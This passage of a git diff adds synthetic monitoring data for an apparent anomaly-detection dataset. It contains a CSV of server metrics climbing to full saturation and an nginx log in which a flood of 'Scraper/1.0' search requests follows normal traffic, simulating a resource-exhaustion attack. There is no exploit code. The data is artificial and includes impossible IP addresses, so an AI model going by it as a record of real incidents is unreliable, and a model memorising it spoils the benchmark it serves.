/api/v1/search?query=some_very_long_and_complex_search_string_703" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:25 192.168.173.250 - - [02/Jul/2025:12:07:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_35" 499 0 "-" "AttackerClient/1.0" diff --git a/mali_dataset/scenario_12/mali_12_5.csv b/mali_dataset/scenario_12/mali_12_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..4be64e3947c7b121b47c8e9234c5a162952882dd --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,24.22,48.6,20.07,1.39,1.46 +2025-08-15T14:30:05Z,18.95,44.67,33.8,1.03,0.9 +2025-08-15T14:30:10Z,16.94,48.24,25.47,0.9,1.47 +2025-08-15T14:30:15Z,21.13,45.92,33.15,0.97,0.99 +2025-08-15T14:30:20Z,19.29,49.28,22.15,1.19,1.32 +2025-08-15T14:30:25Z,17.65,49.26,21.48,1.16,1.5 +2025-08-15T14:30:30Z,20.39,45.51,31.19,1.33,1.13 +2025-08-15T14:30:35Z,28.92,40.68,38.81,1.29,1.25 +2025-08-15T14:30:40Z,22.17,45.87,25.55,0.98,1.0 +2025-08-15T14:30:45Z,18.35,46.24,22.65,0.94,1.35 +2025-08-15T14:30:50Z,20.47,46.91,30.58,1.29,0.8 +2025-08-15T14:30:55Z,23.49,45.21,35.41,1.12,1.25 +2025-08-15T14:31:00Z,26.45,47.49,22.08,0.96,1.27 +2025-08-15T14:31:05Z,16.74,45.37,23.09,0.84,1.31 +2025-08-15T14:31:10Z,18.91,42.25,26.83,1.31,1.06 +2025-08-15T14:31:15Z,25.49,40.94,21.52,1.35,1.03 +2025-08-15T14:31:20Z,28.68,43.08,20.79,1.09,1.25 +2025-08-15T14:31:25Z,27.55,41.48,28.54,1.23,1.33 +2025-08-15T14:31:30Z,18.07,43.17,39.49,0.93,1.13 +2025-08-15T14:31:35Z,31.18,44.18,22.76,1.27,0.81 +2025-08-15T14:31:40Z,31.6,38.97,33.11,1.33,1.4 +2025-08-15T14:31:45Z,17.9,39.92,29.73,1.1,1.08 +2025-08-15T14:31:50Z,27.26,40.68,32.78,1.36,1.37 +2025-08-15T14:31:55Z,20.18,44.31,37.85,1.06,1.36 +2025-08-15T14:32:00Z,25.5,46.35,39.95,1.41,1.34 +2025-08-15T14:32:05Z,32.34,44.81,27.79,0.83,0.96 +2025-08-15T14:32:10Z,26.52,40.45,25.24,0.99,0.94 +2025-08-15T14:32:15Z,27.04,37.64,39.01,0.97,1.12 +2025-08-15T14:32:20Z,18.67,38.65,39.47,0.81,0.91 +2025-08-15T14:32:25Z,27.41,44.5,36.28,1.26,1.1 +2025-08-15T14:32:30Z,29.21,48.78,36.57,1.84,1.65 +2025-08-15T14:32:35Z,34.45,53.82,45.05,1.85,2.06 +2025-08-15T14:32:40Z,40.32,56.28,42.32,3.17,2.54 +2025-08-15T14:32:45Z,45.17,57.14,50.59,4.29,3.88 +2025-08-15T14:32:50Z,49.83,61.3,48.16,4.45,4.59 +2025-08-15T14:32:55Z,55.22,62.0,52.68,5.46,5.17 +2025-08-15T14:33:00Z,59.62,65.94,53.43,6.68,6.59 +2025-08-15T14:33:05Z,65.53,66.74,60.07,6.86,5.94 +2025-08-15T14:33:10Z,70.87,69.5,60.58,7.78,8.86 +2025-08-15T14:33:15Z,75.58,72.03,71.21,8.46,7.6 +2025-08-15T14:33:20Z,80.01,76.5,72.12,9.82,7.91 +2025-08-15T14:33:25Z,84.44,76.08,70.28,10.24,11.91 +2025-08-15T14:33:30Z,90.28,78.52,71.15,10.65,11.12 +2025-08-15T14:33:35Z,95.91,81.92,79.24,12.31,13.75 +2025-08-15T14:33:40Z,100.44,83.96,81.03,12.77,13.43 +2025-08-15T14:33:45Z,99.33,87.5,86.36,13.72,15.98 +2025-08-15T14:33:50Z,100.41,90.71,84.63,14.37,15.87 +2025-08-15T14:33:55Z,100.29,93.19,87.07,14.64,17.0 +2025-08-15T14:34:00Z,99.15,94.72,92.74,14.61,14.38 +2025-08-15T14:34:05Z,100.52,96.02,93.74,14.89,15.79 +2025-08-15T14:34:10Z,99.71,96.84,90.03,15.34,14.76 +2025-08-15T14:34:15Z,99.84,93.46,90.44,15.43,16.65 +2025-08-15T14:34:20Z,100.95,93.25,90.25,15.5,16.2 +2025-08-15T14:34:25Z,99.91,94.98,85.8,15.26,16.25 +2025-08-15T14:34:30Z,100.88,93.66,90.19,15.11,15.0 +2025-08-15T14:34:35Z,100.72,95.72,88.58,15.03,13.44 +2025-08-15T14:34:40Z,99.15,93.54,90.65,15.05,13.74 +2025-08-15T14:34:45Z,99.38,95.22,92.85,15.29,13.23 +2025-08-15T14:34:50Z,100.78,95.78,86.27,15.16,15.71 +2025-08-15T14:34:55Z,100.22,93.42,93.63,14.69,15.05 +2025-08-15T14:35:00Z,100.46,94.25,87.48,15.14,12.32 +2025-08-15T14:35:05Z,100.54,96.92,89.66,15.0,16.51 +2025-08-15T14:35:10Z,99.94,96.85,87.64,14.95,16.55 +2025-08-15T14:35:15Z,100.34,95.24,91.98,15.5,12.18 +2025-08-15T14:35:20Z,100.82,95.58,88.35,14.91,16.57 +2025-08-15T14:35:25Z,99.2,94.57,85.48,14.73,14.53 +2025-08-15T14:35:30Z,100.07,94.11,87.13,15.27,16.57 +2025-08-15T14:35:35Z,99.47,95.33,88.35,14.89,13.14 +2025-08-15T14:35:40Z,100.82,93.59,94.82,14.67,16.8 +2025-08-15T14:35:45Z,99.22,93.79,93.69,14.72,16.06 +2025-08-15T14:35:50Z,99.72,93.16,86.17,15.4,13.57 +2025-08-15T14:35:55Z,100.4,94.08,91.67,14.71,15.13 +2025-08-15T14:36:00Z,99.71,95.7,90.89,14.69,16.69 +2025-08-15T14:36:05Z,100.93,94.07,87.32,14.75,13.36 +2025-08-15T14:36:10Z,100.11,95.63,85.17,15.34,13.56 +2025-08-15T14:36:15Z,100.53,96.13,92.97,15.2,17.19 +2025-08-15T14:36:20Z,100.51,93.75,93.66,14.84,16.02 +2025-08-15T14:36:25Z,100.53,96.78,92.57,14.5,16.06 +2025-08-15T14:36:30Z,100.64,93.89,91.84,14.69,13.5 +2025-08-15T14:36:35Z,100.34,93.52,88.85,14.95,12.46 +2025-08-15T14:36:40Z,99.39,94.28,93.95,14.99,12.58 +2025-08-15T14:36:45Z,100.42,96.86,85.19,14.98,17.18 +2025-08-15T14:36:50Z,99.45,93.47,92.45,14.85,16.52 +2025-08-15T14:36:55Z,99.74,96.11,91.1,15.4,13.98 +2025-08-15T14:37:00Z,100.81,95.94,85.47,15.46,12.99 +2025-08-15T14:37:05Z,100.67,94.79,88.11,14.57,13.82 +2025-08-15T14:37:10Z,99.84,95.31,93.16,15.39,13.64 +2025-08-15T14:37:15Z,99.34,93.4,91.73,15.19,12.2 +2025-08-15T14:37:20Z,100.9,93.55,92.72,14.68,16.88 +2025-08-15T14:37:25Z,99.34,96.68,91.04,14.59,12.91 diff --git a/mali_dataset/scenario_12/mali_12_5.log b/mali_dataset/scenario_12/mali_12_5.log new file mode 100644 index 0000000000000000000000000000000000000000..b93b52540e50349ae2ba94f5424b701989f21513 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_5.log @@ -0,0 +1,699 @@ +Aug 15 14:30:00 web-app-nginx 192.168.1.15 - - [15/Aug/2025:14:30:00 +0000] "GET /api/v1/products HTTP/1.1" 200 1681 "-" "Mozilla/5.0" +Aug 15 14:30:00 systemd[1]: Starting daily clean up activities... +Aug 15 14:30:15 web-app-nginx 192.168.1.40 - - [15/Aug/2025:14:30:15 +0000] "GET /api/v1/user/281 HTTP/1.1" 200 969 "-" "Mozilla/5.0" +Aug 15 14:30:30 web-app-nginx 192.168.1.41 - - [15/Aug/2025:14:30:30 +0000] "GET /api/v1/orders HTTP/1.1" 200 636 "-" "Mozilla/5.0" +Aug 15 14:30:45 web-app-nginx 192.168.1.49 - - [15/Aug/2025:14:30:45 +0000] "GET /api/v1/products HTTP/1.1" 200 1266 "-" "Mozilla/5.0" +Aug 15 14:30:50 systemd[1]: Starting daily clean up activities... +Aug 15 14:31:00 web-app-nginx 192.168.1.37 - - [15/Aug/2025:14:31:00 +0000] "GET /api/v1/user/38 HTTP/1.1" 200 877 "-" "Mozilla/5.0" +Aug 15 14:31:15 web-app-nginx 192.168.1.27 - - [15/Aug/2025:14:31:15 +0000] "GET /api/v1/user/453 HTTP/1.1" 200 1055 "-" "Mozilla/5.0" +Aug 15 14:31:30 web-app-nginx 192.168.1.36 - - [15/Aug/2025:14:31:30 +0000] "GET /api/v1/products HTTP/1.1" 200 1272 "-" "Mozilla/5.0" +Aug 15 14:31:40 systemd[1]: Starting daily clean up activities... +Aug 15 14:31:45 web-app-nginx 192.168.1.23 - - [15/Aug/2025:14:31:45 +0000] "GET /api/v1/user/156 HTTP/1.1" 200 987 "-" "Mozilla/5.0" +Aug 15 14:32:00 web-app-nginx 192.168.1.31 - - [15/Aug/2025:14:32:00 +0000] "GET /api/v1/orders HTTP/1.1" 200 685 "-" "Mozilla/5.0" +Aug 15 14:32:15 web-app-nginx 192.168.1.39 - - [15/Aug/2025:14:32:15 +0000] "GET /api/v1/user/306 HTTP/1.1" 200 1469 "-" "Mozilla/5.0" +Aug 15 14:32:29 web-app-nginx 184.175.244.219 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 188 "-" "Scraper/1.0" +Aug 15 14:32:26 web-app-nginx 29.144.137.206 - - [15/Aug/2025:14:32:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 358 "-" "Scraper/1.0" +Aug 15 14:32:29 web-app-nginx 228.20.232.179 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 398 "-" "Scraper/1.0" +Aug 15 14:32:25 web-app-nginx 253.87.215.178 - - [15/Aug/2025:14:32:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 350 "-" "Scraper/1.0" +Aug 15 14:32:29 web-app-nginx 179.232.167.94 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 172 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 16.38.140.107 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 356 "-" "Scraper/1.0" +Aug 15 14:32:27 web-app-nginx 11.231.190.15 - - [15/Aug/2025:14:32:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 357 "-" "Scraper/1.0" +Aug 15 14:32:27 web-app-nginx 153.56.217.213 - - [15/Aug/2025:14:32:27 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 495 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 183.138.89.139 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 470 "-" "Scraper/1.0" +Aug 15 14:32:29 web-app-nginx 69.209.102.112 - - [15/Aug/2025:14:32:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 170 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 44.9.177.176 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 236 "-" "Scraper/1.0" +Aug 15 14:32:26 web-app-nginx 98.7.75.138 - - [15/Aug/2025:14:32:26 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 442 "-" "Scraper/1.0" +Aug 15 14:32:28 web-app-nginx 146.227.117.240 - - [15/Aug/2025:14:32:28 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 170 "-" "Scraper/1.0" +Aug 15 14:32:26 web-app-nginx 206.62.129.138 - - [15/Aug/2025:14:32:26 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 282 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 67.53.113.209 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 416 "-" "Scraper/1.0" +Aug 15 14:32:30 web-app-nginx 208.125.187.108 - - [15/Aug/2025:14:32:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 344 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 147.7.70.182 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 178 "-" "Scraper/1.0" +Aug 15 14:32:31 web-app-nginx 124.232.207.28 - - [15/Aug/2025:14:32:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 231 "-" "Scraper/1.0" +Aug 15 14:32:30 web-app-nginx 85.93.129.87 - - [15/Aug/2025:14:32:30 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 338 "-" "Scraper/1.0" +Aug 15 14:32:30 web-app-nginx 154.228.207.2 - - [15/Aug/2025:14:32:30 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 262 "-" "Scraper/1.0" +Aug 15 14:32:34 web-app-nginx 33.204.153.222 - - [15/Aug/2025:14:32:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 233 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 169.48.41.50 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 150 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 150.81.158.247 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 180 "-" "Scraper/1.0" +Aug 15 14:32:34 web-app-nginx 244.107.52.157 - - [15/Aug/2025:14:32:34 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 193 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 200.1.173.205 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 272 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 25.15.84.190 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 136 "-" "Scraper/1.0" +Aug 15 14:32:32 web-app-nginx 205.77.66.30 - - [15/Aug/2025:14:32:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 200 "-" "Scraper/1.0" +Aug 15 14:32:33 web-app-nginx 160.112.219.209 - - [15/Aug/2025:14:32:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 447 "-" "Scraper/1.0" +Aug 15 14:32:39 web-app-nginx 127.254.88.243 - - [15/Aug/2025:14:32:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 135 "-" "Scraper/1.0" +Aug 15 14:32:36 web-app-nginx 185.20.244.188 - - [15/Aug/2025:14:32:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 239 "-" "Scraper/1.0" +Aug 15 14:32:35 web-app-nginx 183.144.2.135 - - [15/Aug/2025:14:32:35 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 427 "-" "Scraper/1.0" +Aug 15 14:32:38 web-app-nginx 181.173.190.86 - - [15/Aug/2025:14:32:38 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 136 "-" "Scraper/1.0" +Aug 15 14:32:39 web-app-nginx 173.142.117.42 - - [15/Aug/2025:14:32:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 341 "-" "Scraper/1.0" +Aug 15 14:32:35 web-app-nginx 83.238.34.42 - - [15/Aug/2025:14:32:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 372 "-" "Scraper/1.0" +Aug 15 14:32:35 web-app-nginx 194.237.36.6 - - [15/Aug/2025:14:32:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 142 "-" "Scraper/1.0" +Aug 15 14:32:36 web-app-nginx 52.38.181.110 - - [15/Aug/2025:14:32:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 442 "-" "Scraper/1.0" +Aug 15 14:32:44 web-app-nginx 137.71.7.44 - - [15/Aug/2025:14:32:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 279 "-" "Scraper/1.0" +Aug 15 14:32:41 web-app-nginx 163.114.48.119 - - [15/Aug/2025:14:32:41 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 308 "-" "Scraper/1.0" +Aug 15 14:32:43 web-app-nginx 19.21.55.75 - - [15/Aug/2025:14:32:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 262 "-" "Scraper/1.0" +Aug 15 14:32:43 web-app-nginx 233.138.209.20 - - [15/Aug/2025:14:32:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 193 "-" "Scraper/1.0" +Aug 15 14:32:42 web-app-nginx 162.219.244.44 - - [15/Aug/2025:14:32:42 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 191 "-" "Scraper/1.0" +Aug 15 14:32:44 web-app-nginx 130.53.77.68 - - [15/Aug/2025:14:32:44 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 390 "-" "Scraper/1.0" +Aug 15 14:32:41 web-app-nginx 91.16.179.185 - - [15/Aug/2025:14:32:41 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 121 "-" "Scraper/1.0" +Aug 15 14:32:41 web-app-nginx 225.220.47.22 - - [15/Aug/2025:14:32:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 327 "-" "Scraper/1.0" +Aug 15 14:32:40 web-app-nginx 215.84.130.82 - - [15/Aug/2025:14:32:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 255 "-" "Scraper/1.0" +Aug 15 14:32:44 web-app-nginx 248.4.12.199 - - [15/Aug/2025:14:32:44 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 373 "-" "Scraper/1.0" +Aug 15 14:32:43 web-app-nginx 42.214.105.108 - - [15/Aug/2025:14:32:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 189 "-" "Scraper/1.0" +Aug 15 14:32:40 web-app-nginx 117.4.249.66 - - [15/Aug/2025:14:32:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 491 "-" "Scraper/1.0" +Aug 15 14:32:45 web-app-nginx 143.103.187.194 - - [15/Aug/2025:14:32:45 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 336 "-" "Scraper/1.0" +Aug 15 14:32:49 web-app-nginx 254.141.231.93 - - [15/Aug/2025:14:32:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 150 "-" "Scraper/1.0" +Aug 15 14:32:49 web-app-nginx 74.15.92.114 - - [15/Aug/2025:14:32:49 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 342 "-" "Scraper/1.0" +Aug 15 14:32:47 web-app-nginx 148.138.253.212 - - [15/Aug/2025:14:32:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 433 "-" "Scraper/1.0" +Aug 15 14:32:48 web-app-nginx 249.213.56.75 - - [15/Aug/2025:14:32:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 236 "-" "Scraper/1.0" +Aug 15 14:32:49 web-app-nginx 80.88.139.8 - - [15/Aug/2025:14:32:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 241 "-" "Scraper/1.0" +Aug 15 14:32:46 web-app-nginx 85.174.27.237 - - [15/Aug/2025:14:32:46 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 236 "-" "Scraper/1.0" +Aug 15 14:32:46 web-app-nginx 189.228.122.121 - - [15/Aug/2025:14:32:46 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 283 "-" "Scraper/1.0" +Aug 15 14:32:50 web-app-nginx 161.49.176.24 - - [15/Aug/2025:14:32:50 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 452 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 36.11.27.124 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 216 "-" "Scraper/1.0" +Aug 15 14:32:50 web-app-nginx 19.108.206.30 - - [15/Aug/2025:14:32:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 148 "-" "Scraper/1.0" +Aug 15 14:32:53 web-app-nginx 32.2.12.116 - - [15/Aug/2025:14:32:53 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 363 "-" "Scraper/1.0" +Aug 15 14:32:52 web-app-nginx 130.55.145.32 - - [15/Aug/2025:14:32:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 300 "-" "Scraper/1.0" +Aug 15 14:32:51 web-app-nginx 226.202.146.93 - - [15/Aug/2025:14:32:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 318 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 77.224.142.128 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 185 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 10.197.17.182 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 260 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 204.95.235.169 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 228 "-" "Scraper/1.0" +Aug 15 14:32:51 web-app-nginx 27.198.92.101 - - [15/Aug/2025:14:32:51 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 303 "-" "Scraper/1.0" +Aug 15 14:32:51 web-app-nginx 207.129.18.25 - - [15/Aug/2025:14:32:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 462 "-" "Scraper/1.0" +Aug 15 14:32:52 web-app-nginx 23.174.176.119 - - [15/Aug/2025:14:32:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 464 "-" "Scraper/1.0" +Aug 15 14:32:54 web-app-nginx 138.6.28.219 - - [15/Aug/2025:14:32:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 361 "-" "Scraper/1.0" +Aug 15 14:32:57 web-app-nginx 244.159.182.140 - - [15/Aug/2025:14:32:57 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 233 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 187.116.127.46 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 470 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 43.73.107.220 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 343 "-" "Scraper/1.0" +Aug 15 14:32:57 web-app-nginx 24.42.129.121 - - [15/Aug/2025:14:32:57 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 398 "-" "Scraper/1.0" +Aug 15 14:32:56 web-app-nginx 249.19.64.234 - - [15/Aug/2025:14:32:56 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 337 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 141.73.110.142 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 357 "-" "Scraper/1.0" +Aug 15 14:32:59 web-app-nginx 12.221.157.220 - - [15/Aug/2025:14:32:59 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 289 "-" "Scraper/1.0" +Aug 15 14:32:57 web-app-nginx 198.111.88.52 - - [15/Aug/2025:14:32:57 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 187 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 248.30.69.110 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 474 "-" "Scraper/1.0" +Aug 15 14:32:55 web-app-nginx 216.35.23.132 - - [15/Aug/2025:14:32:55 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 424 "-" "Scraper/1.0" +Aug 15 14:32:56 web-app-nginx 174.240.211.238 - - [15/Aug/2025:14:32:56 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 205 "-" "Scraper/1.0" +Aug 15 14:32:56 web-app-nginx 71.70.141.211 - - [15/Aug/2025:14:32:56 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 375 "-" "Scraper/1.0" +Aug 15 14:32:59 web-app-nginx 82.5.167.167 - - [15/Aug/2025:14:32:59 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 118 "-" "Scraper/1.0" +Aug 15 14:33:00 web-app-nginx 68.101.209.164 - - [15/Aug/2025:14:33:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 321 "-" "Scraper/1.0" +Aug 15 14:33:04 web-app-nginx 64.147.115.149 - - [15/Aug/2025:14:33:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 359 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 159.61.205.185 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 424 "-" "Scraper/1.0" +Aug 15 14:33:01 web-app-nginx 160.216.28.197 - - [15/Aug/2025:14:33:01 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 474 "-" "Scraper/1.0" +Aug 15 14:33:02 web-app-nginx 89.177.149.251 - - [15/Aug/2025:14:33:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 349 "-" "Scraper/1.0" +Aug 15 14:33:00 web-app-nginx 43.23.117.217 - - [15/Aug/2025:14:33:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 131 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 239.100.240.32 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 180 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 65.85.109.17 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 387 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 235.88.151.32 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 135 "-" "Scraper/1.0" +Aug 15 14:33:04 web-app-nginx 30.246.143.174 - - [15/Aug/2025:14:33:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 280 "-" "Scraper/1.0" +Aug 15 14:33:00 web-app-nginx 5.208.161.179 - - [15/Aug/2025:14:33:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 462 "-" "Scraper/1.0" +Aug 15 14:33:03 web-app-nginx 5.103.108.176 - - [15/Aug/2025:14:33:03 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 334 "-" "Scraper/1.0" +Aug 15 14:33:07 web-app-nginx 24.221.216.211 - - [15/Aug/2025:14:33:07 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 110 "-" "Scraper/1.0" +Aug 15 14:33:08 web-app-nginx 184.91.109.246 - - [15/Aug/2025:14:33:08 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 170 "-" "Scraper/1.0" +Aug 15 14:33:07 web-app-nginx 161.140.25.219 - - [15/Aug/2025:14:33:07 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 349 "-" "Scraper/1.0" +Aug 15 14:33:08 web-app-nginx 33.63.70.76 - - [15/Aug/2025:14:33:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 296 "-" "Scraper/1.0" +Aug 15 14:33:09 web-app-nginx 139.76.45.133 - - [15/Aug/2025:14:33:09 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 319 "-" "Scraper/1.0" +Aug 15 14:33:06 web-app-nginx 2.128.133.61 - - [15/Aug/2025:14:33:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 494 "-" "Scraper/1.0" +Aug 15 14:33:07 web-app-nginx 214.91.236.168 - - [15/Aug/2025:14:33:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 454 "-" "Scraper/1.0" +Aug 15 14:33:08 web-app-nginx 